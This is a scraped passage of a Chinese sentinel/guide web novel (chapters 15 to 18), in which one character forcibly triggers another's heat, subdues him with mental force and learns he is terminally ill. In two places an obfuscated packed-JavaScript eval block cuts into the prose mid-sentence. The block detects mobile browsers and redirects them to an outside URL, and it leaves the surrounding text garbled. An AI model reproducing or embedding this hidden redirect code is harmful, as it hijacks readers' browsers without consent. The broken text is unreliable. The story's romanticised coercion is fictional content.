冰冷的金属刺进弓铮皎后颈的瞬间,释放的却不是麻醉剂,而是向导素。 巨量的向导素。 弓铮皎闷哼一声,微仰起头。 直达体内循环的向导素,比起以前通过呼吸、触摸摄入,要强烈、浓郁成百上千倍。 很快,弓铮皎就连站都站不住,一只手扶着墙,几乎用尽全力才能抵抗这异常的生理反应。 墙皮轻松被他扣下来一层又一层,弓铮皎怒不可遏,哈着气说:“你疯了……你彻底疯了……” 他被闻璱主动释放的过量向导素强行触发了热潮期,但这并不意味着什么旖旎的展开。 两情相悦的向导和哨兵主动利用向导素触发热潮期,当然会放大双方对爱玉和性玉的渴望。 但人的欲望是互通的,状态不那么稳定的哨兵,在主观不情愿的状态下被触发热潮期,更有可能占据他的,是其他玉望。 譬如暴力的施虐欲。 弓铮皎已经隐约察觉到舌根处传来的拉扯感,是他勉力抑制着开始融合的虎牙。 更不用说那风声、稍显凌乱而交缠的呼吸声,还有鼻息之间令人头晕的香气。 他现在明白了,那是闻璱洗手液的香味,现在连他自己手上也是这股潮湿的味道。 一股叫嚣的暴动欲望在他脑袋里、身体里横冲直撞,让他想要把眼前的所有都撕碎,把一切吞吃入腹……尤其是闻璱——尤其是闻璱! 可是,残存的理智还在提醒着他,不要冲动。 不要忘了他的嘴里,还有一颗微型酸弹。 于是弓铮皎只能咬住自己的手。 他对疼痛很敏感,却又格外善于忍受,以至于能让痛楚成为镇定剂。 然而,流淌出的鲜血却成了让一切变本加厉的兴奋剂。 弓铮皎眼前发花,仿佛已经看到了自己把这里毁于一旦,然后自己也被烧成了个只剩半张脸的丑人的可怕未来。 他脑袋里的筋凌乱地打结,以至于罕见地生出后悔—— 后悔不该靠近闻璱。 后悔没能在一开始就展露出这副可怕的真容,才让闻璱起了拯救自己的痴心妄想。 更后悔…… 后悔他自己,竟然也动了某种隐秘的期待。 期待着有人能说:让我帮帮你吧。 直到闻璱在他面前蹲下,再次向他伸出手。 “别咬自己,”闻璱轻声说,“抬起头来。” 弓铮皎想说,你懂什么,我松了口就会咬上你的脖子,我的牙撕开你的颈动脉比撕开速食鸡胸肉还容易,我…… 他无法抵抗,因为又一次被闻璱干净利落地卸掉了下巴。 “呜——”弓铮皎恨恨地抬起头。 鼻尖就这样碰上闻璱手指。 不知何时,闻璱离他越来越近,近到他从闻璱眼睛里,看到自己的倒影。 他看起来好狼狈,头发上沾了墙灰碎片,面色潮红,被闻璱捧着合不上的下巴,两只手把地板和刚才睡过的地铺抠得一片狼藉。 闻璱看起来,却还是那么平静。 对比如此鲜明。 闻璱真的不怕死吗? 弓铮皎忍不住想。 “不。”闻璱回答他,“我不想死——就像你一样害怕。” 弓铮皎又想:他是怎么知道的? 闻璱并没有进入他的精神图景,怎么会知道他此刻的心声,还有秘密? “因为你很能忍,弓铮皎,你是我见过最能忍的哨兵。”闻璱说。 简直是个忍者。 无法接受向导调整感官,却又太过敏锐,不得不时刻暴露的痛苦,弓铮皎忍了十六年。 足够令A级哨兵在五秒内失去意识,并且强度还会持续攀升的电击惩戒,弓铮皎也能坚持五分钟。 而现在,弓铮皎竟然还能在被强制触发热潮期之后,忍耐着不暴起发狂。 就算他是被嘴里那颗微型酸弹所震慑,并不是全然的情愿,这也太可怕了。 也很厉害。 闻璱终于捧起他的脸。 他们的距离越来越近,直到额头相贴,鼻尖也开始打架。 弓铮皎本能地想要躲开,因为在这么近的距离,他一旦暴起,甚至不需要把下巴接回来,就能把闻璱的脸和脖子刺穿。 而且,这也是一个闻璱会被酸液炸弹波及的距离。 但连弓铮皎自己也想不通的是,他竟然做不到。 好像有一股无形的力量,像倒模一样固定住了他身体的每一寸,甚至连拟态融合的进程都被强行抑制住,让弓铮皎无法抵抗。 这力量隐约有些熟悉,是闻璱的精神力吗? 竟然可以在不进行拟态融合的情况下,让精神力实质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418164|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化到这个地步吗? “别再躲了!”闻璱说,“看着我。” 他甚至用手指强行撑开弓铮皎的眼皮,又隔着眼皮抵住弓铮皎的眼珠,叫弓铮皎的视线一旦聚焦到自己,就彻底失去移开的机会。 闻璱看着那双蓝紫色的眼睛瞳孔骤缩,爆发出极大的恐惧、懊恼、愤怒、后悔…… 但就像从前的每一次一样,蓝紫色的漩涡最深处,永远是不敢宣之于口的期待。 他一字一顿道: “我不会让你有伤到我的机会,也不会让你失控、发狂,连累你自己,崩掉你这张宝贝的脸。” “因为有我在。” “因为我永远能控制住你。” 他缓缓对弓铮皎呢喃着,直到精神力悄无声息地攻克弓铮皎的心防。 他才闭上双眼,试着凝结出具象化的精神投影,触摸弓铮皎精神图景核心区域的大门。 抽象化的世界里,那里似乎有一道屏障,像一把厚重的锁。 当这道锁被解开,闻璱就能进入图景核心,把一切弓铮皎想要隐瞒的秘密看个遍。 而弓铮皎甚至不会知道,自己已经被彻底看透。 闻璱只是犹豫了一瞬,就果断放弃了这个有些趁人之危的打算。 虽然他真的有点好奇,弓铮皎到底为什么这么别扭。 他转而引导着弓铮皎的精神力在精神图景里显形——也就是阿咬。 比起寻常向导通过深入精神图景,在精神图景当园丁、当建筑工人、当清洁工的习惯,闻璱还是更喜欢,也更擅长做个“牙医”。 一见到闻璱,阿咬就呜咽着用爪子刨地,像鸵鸟一样把头埋进坑里。 这又是弓铮皎内心的某种真实想法的投射,他羞耻、窘迫,不想被闻璱看到自己这副样子。 “……别把牙弄脏了,算了,过来刷牙。”闻璱发挥本职。 在闻璱精神力的无形控制下,阿咬不情不愿地被推过来,乖乖地趴在地上,把头放在闻璱膝头。 闻璱忍不住道:“要是一直这样该多好。” 说完这话,他才突然一怔,因为在之前的几周,好像弓铮皎确实是这样一声不吭但又逆来顺受。 就像引起这场纠缠的罪魁祸首:那件风衣。 他总觉得,弓铮皎似乎并不是享受变态或是傲娇的快感,而是真的有什么难言之隐。 而这个难言之隐,恐怕就藏在刚才那把抽象的锁后面。 闻璱思索再三,最终只是摸了摸阿咬的头。 说实话,他有点好奇。 只是,或许又是某种不服输的心里作祟,他偏偏不想要现在在精神图景里打开那把锁,仿佛这是走了捷径。 弓铮皎现在越是掩饰,他就越想要看到弓铮皎低下头,乖巧、主动地把一切秘密全盘托出。 那才算是大获全胜。 为阿咬“刷牙”之后,整个精神图景的状态逐渐稳定下来。 闻璱让阿咬自己找个舒服地方睡觉,然后静静等了片刻,直到这个精神图景越来越宁静、温和、具象化,展现出本来的样子。 他环顾四周,发现弓铮皎的精神图景竟然是一个花团锦簇的祥和庄园。 多数哨兵的精神图景其实更接近精神体动物习惯生活的环境,譬如闻璱的精神图景就是一片无边无际的粉色湖泊。 刻板印象下,闻璱本来也以为,弓铮皎的精神图景该是草原、山林一类,接近某种自然保护区的风光。 却没想到是如此“人性化”的景象。 这算是一场很成功的安抚。 顺利完成之后,闻璱轻盈地退出弓铮皎的精神图景。 他们的身体还保持着刚才的姿势,不知过去了多久。 闻璱睁开双眼时,弓铮皎也从稍显痴呆的状态中恢复过来。 那双蓝紫色的眼睛眨了眨,再不复刚才的发疯、发狂、发癫和隐忍,反而变得亮晶晶,真的像一副星空钻石画。 就像每一个完成安抚的哨兵客户走时那般神清气爽。 闻璱还没来得及松开捧着弓铮皎脑袋的双手,就听到“咔”地一声,弓铮皎抬手,自己把自己的下巴接了回来。 然后,两个人都僵住了。 原本闻璱卸了弓铮皎的下巴,让弓铮皎的下半张连都微微坠着,尽管在咫尺之间,也只是呼吸交缠,没有什么过火的接触。 直到下巴归位,让弓铮皎的骨肉皮肤都有了支撑。 于是,就这样含住了两瓣温软的唇。 真是不巧。 16. 第 16 章 闻璱立刻抽身退开。 但他对面,弓铮皎的动作更大,像是有谁往他眼睛里喷了辣椒水,刺激得他猛地往后仰倒。 然后“砰”地一声巨响,把衣柜门砸出一个巨大的坑。 扭曲的衣柜门晃了晃,终于解体,落下来时又沉重地砸了弓铮皎一个劈头盖脸。 闻璱:“……” 这一下动静不小,比刚才两个人“打架”的那好半天,还要激烈得多。 而闻璱的宿舍这下也是彻底、彻底、彻底无法挽救了。 闻璱起身把窗户打开,让木屑灰尘能散出去,就听弓铮皎似乎在背后“嘶”了一声。 闻璱有些奇怪,毕竟这点创伤对弓铮皎来说,应该和挠痒痒差不多。 结果一转头,就见弓铮皎捂着下半张脸,指缝里溢出淅淅沥沥的血色。 是酸弹爆炸了?! 可是,为什么会这样? 弓铮皎的情况不是已经稳定下来了吗? 这可不是小事,闻璱顾不上多想,连忙拉开弓铮皎手臂查看。 “别闹了,让我看看!” 偏偏弓铮皎这会较上了劲,梗着力,怎么也不肯把手拿开。 拉扯了几个来回,闻璱渐渐意识到,并不是弓铮皎嘴里的微型酸弹爆炸了。 没有强酸碳化蛋白质的一样气味,也没有任何“滋啦”腐蚀的可怕声音。 而弓铮皎那四处乱飘,就是不敢直视的眼睛,更证明了——他绝对又做了什么亏心事。 闻璱松开手,抽了一张湿巾缓缓擦拭着指缝沾染的灰尘和血,似笑非笑地看着弓铮皎。 过了片刻,弓铮皎才把视线挪回来,有些吐字不清地说:“……只是刚刚磕到了。” “磕到哪里了?严重不严重?”闻璱问。 “……”弓铮皎又不吭声了。 闻璱现在也彻底摸透了,弓铮皎就是如此一个不见棺材不落泪,见了也照样死猪不怕开水烫的性格。 他直接说:“还是去医院看看吧。” 说着,就拿出终端,作出要拨急救电话的样子。 弓铮皎这才含糊道:“我没事,不严重,我自己休息一会就好了。” “我不看看怎么知道真的没事?”闻璱伸手垫在他下巴下面,轻轻掂量了一下,故意说:“蒸饺omo……” 话没说完,弓铮皎就闷闷地哼了一声:“别那么喊。” “那就张嘴。”闻璱说,“你知道,我很擅长卸下巴。” 弓铮皎的脸色越来越红,心里不知道又是如何天人交战了一会,才终于把自己的手拿开。 闻璱一看,果然是咬到舌头了,而且咬得不轻,得益于弓铮皎牙口不错,伤口看起来还真的有些唬人。 他思索道:“得去医院缝合吧。” 弓铮皎哼哼着说:“小伤,不用去。” 或许对于忍受电击都不在话下的S级哨兵来说,这点伤确实不算什么。 闻璱并不打算强迫他,但还是顺手调整了他的感官,尽可能降低弓铮皎的不适感。 弓铮皎只觉得嘴巴一麻,顿时,那无法忽视但又令他习惯的剧痛消失,就连喉头的铁锈味、萦绕在鼻息的血腥气都淡化许多。 他本来就几乎没有接受过正常的感官调整和安抚——小黑屋的方法实在难以称之为“安抚”。 而现在,一次真正意义上的安抚之后,又被如此体贴而细致地调整过感官。 弓铮皎精神焕发,觉得自己几乎能把太阳系推着跑。 他被闻璱推着去洗漱一下,从洗手间出来之后,闻璱正一边夹着终端和人通话,一边在急救箱里翻着什么。 见弓铮皎出来,闻璱像逗流浪猫一样,冲他招了招手。 弓铮皎在他身侧的废墟坐下。 就听终端那边传来宿管的质询:“……确定没有任何问题?可不要一会又让我接到其他举报。” “没事的,请您放心。”闻璱平静地回答。 挂了通话,闻璱示意弓铮皎张嘴,然后用消过毒的镊子夹了一个棉球放进弓铮皎伤口处。 “咬紧了。” 弓铮皎顺从地点了点头,鼻腔里发出一声“嗯”。 闻璱心想,其实弓铮皎现在的样子,和低能模式时很像。 或许正是因为想得太多,弓铮皎才会那么别扭。当脑袋里没有积压着那么多信息量、没有那些顾虑时,才会露出原本的模样。 闻璱心里一动,故意问:“为什么会咬到舌头?” 果然,弓铮皎立刻动作一僵。 闻璱意有所指:“你刚才是往后倒,为什么会咬到这里?” 在舌头正常摆放的情况下,骤然咬紧牙关,通常也只会咬伤舌侧,而不是弓铮皎的伤口位置。 也就是说,在刚在,在他们曾经嘴唇相贴的瞬间,弓铮皎竟然——想伸舌头。 这几乎又剥开了弓铮皎的保护色。 闻璱面无表情,不像是生气,却也不似愉悦。 弓铮皎琢磨不透他的心意,却觉得这件事绝对不能承认。 该说这不是他的本意?该说他只是一时冲动? 明明就是本能作祟,弓铮皎却不敢让闻璱知道,因为这也意味着,他真的对闻璱产生了那种低俗的企图。 弓铮皎不明白,自己为什么会突然冲动这一下,他只是下意识地想要粉饰这份心意。 因为从他们认识以来,闻璱对彭枭的态度,对那些客户的态度,已足以让他明白,暴露会有什么样的后果。 可他才张开嘴,闻璱就命令他:“咬紧,不然棉球移位了。” 又一次,闻璱用手捏着他的下巴,眼神如此高高在上。 弓铮皎的的眼睛又在逃避了。 闻璱发现,每一次当弓铮皎想要掩饰什么事情时,就会这样眼珠四处乱窜,总之不敢直视自己。 是自己的眼神很可怕?还是他怕自己从他的眼中看出什么? 如果这是某种欲擒故纵的手段,闻璱不得不承认,这一回,居然是弓铮皎技高一筹,而自己甘拜下风。 因为他已经产生了好奇,对那双贪婪渴求的眼睛。 但是,看弓铮皎下意识地又屏住呼吸,闻璱又觉得自己想多了。 他不该把一只会学豚鼠叫的老虎想象成一只狐狸,如果弓铮皎真的是一只狐狸,反而不会被他假借虎威。 闻璱再次提醒:“呼吸。” 他只是再次作出伸手的动作,弓铮皎就立刻泄了那口气。 如果抛开一切弯弯绕绕,一个人会屏住呼吸,大概率是不闻到了什么不喜欢的气味。 可弓铮皎对他的向导素毫无抗拒,既然如此…… 闻璱缓缓将手贴在弓铮皎胸口,便感觉到怦怦心跳,仿佛顺着脉搏流进自己的身体里。 是为了抑制心跳的速度。 心跳过速,会导致他发狂、暴动、失控吗? 还是说,这只是一种单纯的回避。 闻璱尚且不算很明白。 他感受着掌心的律动,轻声命令:“好好看着我。” 他看着弓铮皎慌乱的眼,缓缓问:“弓铮皎,你好像不只是喜欢我的脸,是吗?” “不、不是……”弓铮皎咬着牙,含糊地摇头。 “不是吗?”闻璱道,“我也觉得,你对我,好像不是彭枭对我的那种感情。” 听他提起彭枭,弓铮皎的心果然漏跳一拍。 但紧接着的否认,又让弓铮皎心安半分。 弓铮皎才松下半口气,就听闻璱又说:“因为你和他 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“我真不明白,你花钱又花精力,为什么作派却还是这么充满偷感?”闻璱忍着笑说,“还想当我金主,你见过你这么卑微的金主吗?难道你真的喜欢给人当ATM奴?我可没有当主人的需求。” 顿了顿,闻璱又改口了:“也不对,你不是卑微,你只是……” 他想了想,一时间也拿不准,弓铮皎到底在想些什么。 就这样“僵持”了很久,弓铮皎一直不呼吸也不脸红。 闻璱也拿他有点没法子了。 算着时间差不多了,闻璱用手指撬开他的嘴,想给弓铮皎换个新的棉球,却发现血已经止住了,伤口甚至开始愈合。 他放下镊子,转而洗了个手,余光瞥见桌边那盒未开封的荔枝,就顺手拈了一颗。 再次在弓铮皎面前坐下时,他作势要拿起镊子,却在弓铮皎主动张嘴时,手指灵活地一转,放进去一颗刚才剥好的荔枝。 与此同时,稍微放开了弓铮皎的味觉。 他突然说:“我一般不会给普通朋友剥荔枝吃。” 果肉的清甜和血腥味一起在弓铮皎舌尖爆开。 他愣愣地含着荔枝,仿佛一不留神就会直接咽下去,甚至忘了咀嚼。 闻璱便捏了捏他的脸颊:“总不能连这也需要指令吧?” 弓铮皎才后知后觉地咬动荔枝果肉。 直到“咔”地一声,闻璱眼皮一跳,知道这是荔枝核被咬碎的声音。 咽下之后,弓铮皎才反问:“如果我告诉你的话,你……” 他嘴唇颤抖着,终于吐出几个颤抖的字:“你不能告诉别人。” 闻璱一怔,没想到弓铮皎居然提了这样一个小孩子一般的要求。 他还以为,在自己那句话之后,弓铮皎至少也会要挟什么好处,或是要求自己作出什么让步。 他莫名忆起张律师曾经的话:弓铮皎很天真,但是面对背叛时,总是很冲动。 难道这真的是什么重大秘密? 闻璱不由得认真起来:“那先说好,不能涉及刑事案件,导致我会被判为从犯;不能是什么在公共场所放了炸弹,但密码只有我知道;不能是……” 不然,他可不能保证守口如瓶。 闻璱洋洋洒洒地列了一堆,直到弓铮皎的表情从怔愣逐渐松懈,最后彻底无语。 “不是。”弓铮皎终于无法忍受地打断他,“和那些都没关系。” 他张了张嘴,声音沙哑: “我得病了。” “医生说,以现在的医疗手段,只能想办法缓解我的痛苦,没有办法根治。” “直到三个月前复诊时发现,我的病情突然恶化……” “我要死了。” 17. 第 17 章 沉默片刻,闻璱才问:“是什么病?” 弓铮皎没答,他就又问了一遍:“什么病?叫什么名字?” “……精神图景荒芜症。”弓铮皎说,“我的精神图景开始无缘由地荒芜,这是萎缩的前兆,但是……” “荒芜?”闻璱打断了他,“所以你图景核心的那把锁,就是因为这个病?” 谁知弓铮皎也愣了:“锁?什么锁?你看到我的精神图景里有一把锁?” 闻璱点头。 于是,收获了弓铮皎彻底瞪大眼睛,直起身子,不可置信道:“你是说,你能看到我的精神图景?” “什么意思?”闻璱皱眉,“就算是盲人向导,进入精神图景,也不会什么都‘看’不到。” 因为那属于一种精神层面的交流,并不是具象化的现实。 “你看到了什么?除了一把锁,还有什么?”弓铮皎追问。 这副迫切而又求知的模样,让闻璱生出一种莫名其妙的熟悉和感同身受——他突然有一种很不好的猜测。 闻璱思索片刻,按照记忆里的一切尽可能描述出那个庄园的景象。 弓铮皎静静听着,眼中震惊愈发浓郁,一直到闻璱话声停了,他仍然怔怔地看着闻璱。 好半天,他才终于说出一句:“原来现在是这样……连我自己,都很久没见过了。” 闻璱心道:果然。 精神图景和精神体相关的疾病,对特种人来说,确实是最糟糕的绝症。 像弓铮皎这种精神图景逐渐荒芜、萎缩,自己却无法访问的情况,如果放任下去,确实会发展向神游,也就是脑死亡。 他内心堪称风起云涌,面上却不动声色,似乎只是好奇地问:“你自己无法进入自己的精神图景?但是阿咬看起来似乎没有什么问题,我还是第一次听说,会有这种情况。” 弓铮皎毫无所觉,答道:“是,阿咬很正常,我进不去,当然也不知道阿咬是怎么进去的。而且我是第一例,所以也没有任何可以参考的案例。” “从什么时候开始的?”闻璱又问,“你卸任首席,解散小队,不再接取公会任务,也是这个原因?” 弓铮皎点了点头:“彻底看不到是从三年前开始,但是究竟是什么时候发病,我也不知道。” 闻璱明白他的意思。 因为信息量过大、精神状态不佳时,精神图景也会以相对抽象的方式展现。 就像刚才,闻璱也是在安抚他之后,才看到了庄园真容。 而弓铮皎许多年来不接受向导安抚,大概率精神图景常年抽象,连他自己也无法判断,究竟是从什么时候开始,第一次出现无法具象化感知精神图景的症状。 不过,闻璱则更关注另一件事。 三年,也就是说,比闻璱彻底发病还要更早。 他沉吟片刻,缓缓说:“可是我刚刚看到了你的精神图景,也成功安抚了你,也就是说,你有救了。” 就像弓铮皎的精神力,似乎也是闻璱拟态孤独症的治疗方法一样。 弓铮皎却自嘲地摇了摇头:“太迟了。” “你知道神游症,对吗?”他缓缓说,“陷入神游状态的哨兵,精神体会被困在图景中,伴随着精神图景的萎缩,整个人也进入脑死亡的状态,这是一个不可逆的过程。” 他看着闻璱:“你看到的那把锁,应该是已经萎缩的部分,也就是说,最多半年,我必死无疑。” 闻璱握了握拳,按捺住想脱口而出的一声:不可能。 这三个字与其说是为了弓铮皎,不如说是为了闻璱自己。 目前特种人的医学理论是基于普通人的情况而建,与精神力、精神图景和精神体相关的特殊领域,也大多以结合派为研究样本。 因为融合派实在是太少了,在很多人眼里,这甚至是一条只存在于设想中的道路。 以至于很少有人知道,精神体和精神图景只是两种不同的表现形式,追根溯源,两者完全可以互相转化。 这是融合派才能摸索出的特殊感受,结合派更习惯让精神体作为独立单位活动,当然对此无所感知。 闻璱明白,且试图证明这一点。 不幸的是,在深耕理论,成为特种人学术大牛之前,闻璱先患上了拟态孤独症,探索也自此停滞。 直到此时此刻,听到弓铮皎说自己的病症:精神图景莫名消失,精神体却安然无虞。 这些症状和闻璱如此相似,又在体现形式上恰好相反。 闻璱的第一反应就是——他们的疾病或许同源,甚至根本就是同一种疾病在不同个体的表征差异。 而弓铮皎还说什么来着? 必死无疑。 如果以希冕创辉财力和技术,都无法在这个病症上做出突破,闻璱一直以来花进去的钱、费尽心思的配合研究,又是为了什么? 弓铮皎彻底发病,只比他早一年而已。 也就是说,如果闻璱所料不差,他自己也只不过能比弓铮皎多一年可活了。 闻璱绝对无法接受。 “去医院。”闻璱突然轻轻敲了一下弓铮皎的额头。 衣柜的门都没了,正好方便他伸手就拿出两件外套。他站起身,不管不顾地抽了一件扔给弓铮皎,自己也麻利地套上,口中又吩咐了一遍:“我不信,现在去医院复查。” “……”弓铮皎动也没动,“我不想去。” 闻璱已经套上鞋,在给自己系鞋带了,只回答了一句简单的:“不能讳疾忌医。” 他这边风风火火地拿出终端,提前开始搜索离宿舍最近的、有特种人科室的医院,和有希冕创辉入股的医院。 那边弓铮皎却还是坐在地上,连个姿势也没换。 直到闻璱都握上了门把手,回头一看,弓铮皎还在原地,耷拉着一双毛茸茸的兽耳,顿时忍不住又催了一声:“快点。把你耳朵收了。” 他急得只顾得上提醒弓铮皎脱离融合态,甚至忘了洁癖,忘了两个人身上又是灰又是血,这幅摸样半夜出门,如果遇到普通人,说不定会报警然后上社会新闻。 弓铮皎缓缓起身,却还是没有披上外套,只是重复了一遍:“我不去。” 他终于第一次在完全清醒、理智的情况下,如此坦诚地提出自己的要求。 “我检查过很多次了,我的病情,我比你清楚。”弓铮皎面无表情地说,“你实在没必要这样。” 闻璱这才放下终端,视线落在弓铮皎身上。 他猜想,或许是自己过于急切的态度对一个“绝症病人”来说,显得有些不尊重了,让弓铮皎有种被“看猴戏”的不适感。 于是,他放软了语气:“去医院做个检查吧,好不好?你的病情这么特殊,刚才我给你做了安抚,说不定有转机呢?” 这态度着实罕见。 闻璱又补充了一句:“弓铮皎,我不希望你死。” 这倒是真心实意,因为无冤无仇,也因为闻璱自己不想死。 可这话落进弓铮皎心里,便脱缰野马般地,冲向岔路的另一条。 弓铮皎静静地看着他,道:“可我希望。” 他话锋一转,突然说:“其实你没必要听他的。” 他?谁? 闻璱一头雾水。 弓铮皎默不作声,从角落里精准地抽出一沓白色封皮的纸。 是张律师给闻璱的那份合同。 闻璱转过身来。 他心想,弓铮皎还是知道了。 是什么时候?闻璱便想起,刚把弓铮皎带回宿舍时,自己忙着洗脸,把弓铮皎和合同大喇喇地一起丢在外面过。 “你翻我东西?”闻璱先发制人。 “我不做那种事。”弓铮皎定定地看着他,一字一顿道,“是我听到了。” 听到——就只能是弓铮皎还在小黑屋里的时候。 那时,闻璱和张律师戴着收音口罩站在屋外,而弓铮皎被关在隔音设施拉满的屋里。 没有人认为弓铮皎那时会是清醒的,也没有人认为,他能听到。 所以,也没有人注意降低音量。 闻璱这时候才明白,弓铮皎变相地承认了自己刚才的指控:他说弓铮皎是故意“失控”,被关进小黑屋的。 不仅进去是故意的,而且在被关入小黑屋的短短两个小时之后……甚至是全程,弓铮皎可能都保持意识清醒。 在一片黑暗中,他大概把听力调动到最大限度,才能隔着一道门,将闻璱和张律师的所有对话听在耳中? 可闻璱忍不住又想,原来他在小黑屋里,清醒了那么久。 ……怪不得从小黑屋出来时,弓铮皎整个人都痴呆了。 撇开那一缕多余的心绪,闻璱觉得看来自己还是低估了S级哨兵,甚至是整个白塔对特种人等级的划分规则,都可能低估了弓铮皎。 他把终端放在一旁,双臂环胸靠在被弓铮皎抠得惨不忍睹的墙上,语气有些不冷不热:“所以你认为,我已经开始履行合同义务了?” 这蠢钝又高傲的脑回路,和张律师倒真是如出一辙。 “难道不是吗?”弓铮皎反问。 顿了顿,弓铮皎又道:“我根本不需要建立什么家庭,合同里写着能给你的,全都是我的私产,你如果想要,可以直接跟我说。” “跟你说,你就给我?” “跟我说,我就给你,全部,无偿赠予,写成白纸黑字。” “我说了,我只剩下最多半年可活。”弓铮皎的声音古井无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418166|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波,“我没有差这三瓜两子的亲人朋友,也不打算神游之后当个活死人,我会在遗嘱上把你写成唯一遗产继承人,由律师公证死后执行。” 他抿了抿嘴,撇开眼神,低声道:“其实一开始,我就打算把这些都无偿赠予你,是你那时不要,非说什么……交个朋友。” 他没说的心里话是:那时不要,现在为什么又要了呢? 既然说了交个朋友,就是交个朋友。 格外亲近的朋友就好。 哪怕是出于怜悯,哪怕……哪怕有利益的考量。 即便这段半真半假的感情裹上财色交易的外壳,弓铮皎也希望,是自己用钱买来了快乐。 ……而不是成为他人获得另外一半遗产的道具。 “咯吱”、“咯吱”,是有人踩过废墟,一步一步,走到了弓铮皎面前的声音。 弓铮皎没有抬头,于是,就再一次被闻璱钳着下巴,拧起了脸。 闻璱似乎还是面无表情,只不过隐隐约约地,弓铮皎似乎从他的眉梢眼角捕捉到一丝冷意。 紧接着,闻璱的手指就毫不客气地撬开他嘴唇,拇指抵在一侧的虎牙上,食指则按住弓铮皎的舌根,把微型酸弹的金属链绷紧。 顿时,弓铮皎的气息一窒,瞳孔骤缩,变成了细细的一长条。 手指的搅弄导致舌尖尚未彻底愈合的伤口再次破裂,鲜血再次涌出,闻璱却微微抬起他下巴,叫血混着唾液一并淌进弓铮皎喉咙。 与此同时,他释放了弓铮皎的五感,并把嗅觉格外放大。 “弓铮皎,我发现了,你不是什么傲娇、别扭,”闻璱淡淡道,“你只是一个欠家教的幼稚鬼——我说过了,看着我!” 话音落下同时,精神力倏然爆发,强行与弓铮皎浅度共鸣,然后,在弓铮皎的脑袋里放了一个烟花。 这是共鸣炸弹,高等级攻击型向导最具有杀伤力的攻击方式。 弓铮皎曾经遭遇过许多次,但对他来说,都只是洒洒水,挠挠痒。 被突破精神防线,这还是第一次。 他也是第一次知道,原来被共鸣炸弹炸这一下,比电击环二级惩戒还可怕,甚至他隐隐觉得,这比嘴里那颗微型酸弹的震慑力还强。 共鸣炸弹不仅抑制住了弓铮皎的反抗,轻度拟态融合的兽耳也立刻消散,连弓铮皎的理智都彻底溃堤。 在精神力爆炸的余波里,弓铮皎的意识就像被放在锅里翻炒一样,几乎又进入了类似下午的低能模式。他脑袋里几乎只剩下最后一个念头:怪不得闻璱这么胆大、猖狂…… 这一发共鸣炸弹下来,弓铮皎自认,就算今天站在这里的自己是全盛时期,也多扛不了几秒。 拟态融合的毛发褪去,兽耳缩了回去,弓铮皎晕晕乎乎地咳了一声——被自己的血水呛得。 闻璱又低声在他耳边重复了一遍:“看着我。” 他脑袋里只剩下这声“看着我”不断回响,于是转动眼珠,缓慢而又懵懂地找到了那双粉色的眼眸。 那双粉色眼眸的主人问:“你到底在想什么?” “我想……我想……” 铁锈味里,突然卷进来一丝凉得晕人的清甜感。 弓铮皎呜咽一声,下意识地用舌尖追逐那一丝甜。 他才终于发现,是他的虎牙刺破了闻璱指尖,舌尖舔舐着那里溢出的血珠。 他们的血就这样在舌尖交融,被他吞入腹中——还有其中浓郁千百倍的向导素。 蓝紫色的眼中立刻泛上水花,瞳孔放大,变得可怜而又朦胧。 “我想……我想活下去。” “我怕死,怕痛,我不想就这样死掉……” “我想要你,有你的向导素就不痛了,我才能睡着……我已经两年没有睡过好觉了……” 闻璱垂眸看着他:“只要我的吗?不要别人的?” “只要你的……只有你的才有用……” “为什么?” 听到这个问题,一粒泪终于溢出蓝紫色的湖泊。 “SS44520T……两年之前,三月十二号……”他报出一串数字和日期。 闻璱微微一怔。 就听他断断续续、语无伦次地说:“你救了我,我只想要你……只喜欢你。” 话音落下,闻璱释放了精神力禁锢,缓缓松开了手。 而弓铮皎犹在迷蒙之中,下意识地追寻着舌尖那丝能够镇痛的清甜,扑到了闻璱身上。 他抱住闻璱,金色的脑袋蹭来蹭去,鼻尖贴在闻璱颈侧轻嗅,似乎是隔着皮肉嗅到了动脉里流淌着血的味道。 然后,在猛然张口的瞬间,被闻璱塞进去了另一颗刚才剥好的荔枝。 “原来是你。”闻璱的声音低不可闻。 18. 第 18 章 SS44520T,这是一个白塔疗愈中心的临时编号。 三年前,闻璱曾在疗愈中心短暂实习。 代号为SS44520T的失控哨兵,是闻璱负责压制的最后一个哨兵,也是闻璱印象很深的一个哨兵。 闻璱记得他,原因很简单,S级哨兵又不是地里的大白菜。 但闻璱从来没想过,SS44520T会是弓铮皎。 因为他原本以为,SS44520T已经“死”了。 他悄无声息地调整了弓铮皎的感官,因为共鸣炸弹的余波尚未消去,很轻易地就让弓铮皎自己“催眠”了自己。 这也是疗愈中心柳部长最擅长的,压制失控哨兵的方法。 闻璱算是柳部长半个“得意门生”,这一招当然信手拈来,但闻璱并不常用,因为共鸣炸弹需要或主动或被动地和哨兵浅度共鸣,闻璱不喜欢这种感觉。 大概这也是弓铮皎抗拒被催眠的原因。 浅度共鸣带来的悸动感需要一段时间才能散去,让闻璱感觉仿佛有个多动症在自己脑子里打军体拳。 他心里静不下来,肩上还靠着一个站着睡着的弓铮皎,一时间也有些莫名的胡思乱想。 犹豫再三,闻璱最终把弓铮皎放在了自己床上。 毕竟这屋里现在除了床上和洗手间,根本没有一处可以正常落脚的地方。 而且刚才灰烟乱飞,血花四溅,多少沾到了床上,让闻璱自己躺上去睡一觉,他绝对接受不了。 